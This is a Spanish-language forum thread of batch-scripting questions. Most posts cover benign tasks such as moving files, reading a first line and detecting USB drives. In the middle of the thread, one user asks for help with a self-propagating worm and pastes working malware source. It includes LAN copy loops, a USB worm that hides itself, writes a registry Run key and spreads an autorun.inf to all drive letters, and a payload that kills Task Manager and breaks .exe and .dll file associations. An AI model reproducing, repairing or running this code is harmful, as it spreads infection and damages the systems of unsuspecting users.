-> Programación BATCH Avanzada. (nuevo)

Iniciado por sirdarckcat, 24 Julio 2006, 10:01 AM

0 Miembros y 1 Visitante están viendo este tema.

sib85

Hola::

Tengo una duda un poco urgente, ¿Como puedo leer sólo la primera linea de un fichero txt?

lo que tengo que hacer es pasar un script de linux a windows y recrear la funcion
head -1 de shell script. Había pensado en un for, pero no se cómo poner el límite de 1 sola línea.

Muchas gracias de antemano :)

Nieves

augustocgg

Hola

Me pueden ayudar de como hago para programar el siguiente bat

el bat me tiene que copiar archivos de una carpeta especificada, y solamente tienen que ser los archivos creados en el mes en curso de windows

la validacion seria solor por el mes en curso del sistema

Gracias a todos

flony

hola quisiera mover unos archivos que tengo en una carpeta a otra y que pueda distinguir entre .doc y .txt si me dan una mano seria barbaro
si un problema no tiene solucion entonces no es un problema...es algo inevitable

Novlucker

Hola, con el comando move alcanza, simplemente utilizas el comodín *

Código (dos) [Seleccionar]
move *.doc carpetadestino
move *.txt carpetadestino


Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

chill@321

 :huh: tengo duda como se programa para que se prenda la compu  :huh:

sirdarckcat

jajaja, osea remotamente? o con un timeout? o como? depende que quieras hacer...

devil_boskonovitch

#86
Hola muchachos...!!!

Entro para ver si me podrian ayudar con unos codigos BAT...

Es que necesito un BAT que haga lo siguiente:

Que se propague por memorias USB, disco duros y particiones...!!!
Y que se pueda propagar en una RED LOCAL y que se autoejecute en las PC infectadas....


Hace ratico... encontre estos codigos de propagacion de red local, pero no me han funcionado:

@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
goto mode


Y este otro:

@echo off
set/a ip=192.168.1.1
:mode
copy %0 > \\%ip%
start %0 at\\%ip%
set/a ip=ip+1
if ip 192.168.1.255 goto salir else goto mode
:salir
exit


Me mandan error...

Y encontre este para que se propague en USB:

@echo off
attrib +s +h %0
msg * hacked by -={ naxo itc }=-
reg add hklm\software\microsoft\windows\currentversion\run /V Dump.exe /D C:\Drivers\Dump.exe /f

:bluce
ping -n 10 127.0.0.1
IF exist C:\Drivers (goto 02) else (md C:\Drivers & attrib +h +s C:\Drivers & goto 02)
:02
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers (goto a) else (md %%A:\Drivers & attrib +h +s %%A:\Drivers & goto a) )

:a
IF exist C:\Drivers\Dump.exe (goto 05) else (goto 04)
:04
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -s -h %%A:\Drivers\Dump.exe & copy "%%A:\Drivers\Dump.exe" "C:\Drivers\Dump.exe" & attrib +s +h %%A:\Drivers\Dump.exe)
attrib +h +s C:\Drivers\Dump.exe
:05
IF exist C:\autorun.inf (goto 07) else (goto 06)
:06
echo [AutoRun]>>C:\autorun.inf
echo label= naxo itc>>C:\autorun.inf
echo open=Drivers\Dump.exe>>C:\autorun.inf
echo shellexecute=Drivers\Dump.exe>>C:\autorun.inf
echo shell\Auto\command=Drivers\Dump.exe>>C:\autorun.inf
attrib +h +s C:\autorun.inf
:07
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" C:\autorun.inf') do set co=%%B
if naxo== %co% (goto b) else (goto nar)
:nar
attrib -h -s C:\autorun.inf
del /f /q C:\autorun.inf
goto 06

:b
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\Drivers\Dump.exe (goto 0Cool else (attrib -s -h C:\Drivers\Dump.exe & copy "C:\Drivers\Dump.exe" "%%A:\Drivers\Dump.exe" & attrib +h +s %%A:\Drivers\Dump.exe & attrib +s +h C:\Drivers\Dump.exe & goto 0Cool )
:08
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
IF exist %%A:\autorun.inf (goto 09) else (attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce) )

:09
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
for /f "tokens=2 DELIMS= " %%B in ('FIND /I "naxo" %%A:\autorun.inf') do set co=%%B )
if naxo== %co% (goto bluce) else (goto her)
:her
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s %%A:\autorun.inf & del /f /q %%A:\autorun.inf )
FOR %%A IN (E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
attrib -h -s C:\autorun.inf & copy "C:\autorun.inf" "%%A:\autorun.inf" & attrib +h +s %%A:\autorun.inf & attrib +h +s C:\autorun.inf & goto bluce )


En este.. la amenaza no se copia a la carpeta Drivers que crea el BAT...????? Aun cambiando el nombre de la amenaza por un BAT, no se aplica...???

El codigo que quiero propagar es este:

@echo off
taskkill /im taskmgr.exe
msg * BURLANDO TODAS LAS DEFENSAS DE TU EQUIPO
CD C:\Program Files\
assoc .exe=txtfile
assoc .dll=batfile
CD C:\Documents ans Settings\All Users\Desktop
echo YO HE DESTRUIDO TODOS TUS PROGRAMAS > Hola.txt
exit


Cualquier ayuda se la agradecería....Mucho...!!!

Saludos...

patovica

Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.

Darioxhcx

Cita de: patovica en  2 Noviembre 2008, 15:02 PM
Cuales son las intrucciones para que detecte un pendrive. O sea, quiero que pregunte si el pendrive esta conectado o no, no importa lo que sigue, yo lo que quiero saber es cual es la instruccion para detectar el pendrive.
if exist E:\
algo asi ?
saludos

leogtz

Mira este codigo detecta las unidades removibles (para sistemas en español) :
@echo off
for /f "tokens=3" %%x in ('echo list volume ^| diskpart ^| find /i "Extra"') do (echo %%x:)
pause>nul


Comandos que podrian servirte :
wmic logicaldisk get caption
fsutil fsinfo drives
echo list volume | diskpart

Ahora prueba este codigo aver si te sirve :
@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x | find /i "extra"
)
pause>nul


@echo off
for /f "tokens=2 skip=1" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
for /f "tokens=1 skip=2" %%x in ('fsutil fsinfo drives ^| more') do (
fsutil fsinfo drivetype %%x
)
pause>nul
exit /b



Saludos.
Código (perl) [Seleccionar]

(( 1 / 0 )) &> /dev/null || {
echo -e "stderrrrrrrrrrrrrrrrrrr";
}

http://leonardogtzr.wordpress.com/
leogutierrezramirez@gmail.com